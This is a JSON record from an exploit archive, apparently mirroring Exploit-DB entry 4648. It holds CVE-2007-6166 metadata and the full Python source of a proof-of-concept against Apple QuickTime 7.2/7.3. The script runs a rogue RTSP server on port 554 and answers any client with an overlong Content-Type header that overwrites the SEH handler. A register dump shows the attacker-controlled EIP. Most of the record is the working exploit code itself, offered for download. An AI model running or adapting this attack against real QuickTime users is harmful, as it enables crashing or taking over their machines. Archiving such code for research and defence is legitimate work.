{"exploit":{"id":"EDB-4648","name":"Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)","description":"Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)","cves":["CVE-2007-6166"],"author":"h07","published":"2007-11-23","platform":"multiple","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4648","path":"exploits/multiple/dos/4648.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4648.py","vulnerabilities":[{"id":"CVE-2007-6166","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Apple QuickTime before 7.3.1, as used in QuickTime Player on Windows XP and Safari on Mac OS X, allows remote Real Time Streaming Protocol (RTSP) servers to execute arbitrary code via an RTSP response with a long Content-Type header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6166","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6166"},"updatedAt":"2024-08-07T15:54:26.985Z","retrievedAt":"2026-11-26T18:08:22.569Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4648.png?v=2","url":"https://exploitbin.com/exploits/EDB-4648","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4648/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4648/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit\n# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>\n# Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish\n# Details:..\n#\n# (RTSP) Content-Type: [A * 995] + [B * 4096]\\r\\n\n#\n# 0x41414141  Pointer to next SEH record\n# 0x42424242  SE handler\n#\n# ----------------------------------------------------------------\n# Exception C0000005 (ACCESS_VIOLATION reading [42424242])\n# ----------------------------------------------------------------\n# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n# EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n# ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n# EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00\n# ESP=0012F8A8: BF 37 90 7C 90 F9 12 00-F8 F0 13 00 AC F9 12 00\n# EBP=0012F8C8: 78 F9 12 00 8B 37 90 7C-90 F9 12 00 F8 F0 13 00\n# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n# EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n# EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??\n#               --> N/A\n# ----------------------------------------------------------------\n##\n\nfrom socket import *\n\nheader = (\n'RTSP/1.0 200 OK\\r\\n'\n'CSeq: 1\\r\\n'\n'Date: 0x00 :P\\r\\n'\n'Content-Base: rtsp://0.0.0.0/1.mp3/\\r\\n'\n'Content-Type: %s\\r\\n' # <-- overflow\n'Content-Length: %d\\r\\n'\n'\\r\\n')\n\nbody = (\n'v=0\\r\\n'\n'o=- 16689332712 1 IN IP4 0.0.0.0\\r\\n'\n's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\\r\\n'\n'i=1.mp3\\r\\n'\n't=0 0\\r\\n'\n'a=tool:ciamciaramcia\\r\\n'\n'a=type:broadcast\\r\\n'\n'a=control:*\\r\\n'\n'a=range:npt=0-213.077\\r\\n'\n'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\\r\\n'\n'a=x-qt-text-inf:1.mp3\\r\\n'\n'm=audio 0 RTP/AVP 14\\r\\n'\n'c=IN IP4 0.0.0.0\\r\\n'\n'a=control:track1\\r\\n'\n)\n\ntmp = \"A\" * 995\ntmp += \"B\" * 4096\nheader %= (tmp, len(body))\nevil = header + body\n\ns = socket(AF_INET, SOCK_STREAM)\ns.bind((\"0.0.0.0\", 554))\ns.listen(1)\nprint \"[+] Listening on [RTSP] 554\"\nc, addr = s.accept()\nprint \"[+] Connection accepted from: %s\" % (addr[0])\nc.recv(1024)\nc.send(evil)\nraw_input(\"[+] Done, press enter to quit\")\nc.close()\ns.close()\n\n# EoF\n\n# milw0rm.com [2007-11-23]","sha256":"504f24f7510503129fbc1250dbe107483b7d52e511b6fbb0c76c599a588ce481","bytes":2215,"fetchedAt":"2026-11-26T18:08:21.183Z","encoding":"utf-8 (display only; download retains original bytes)"}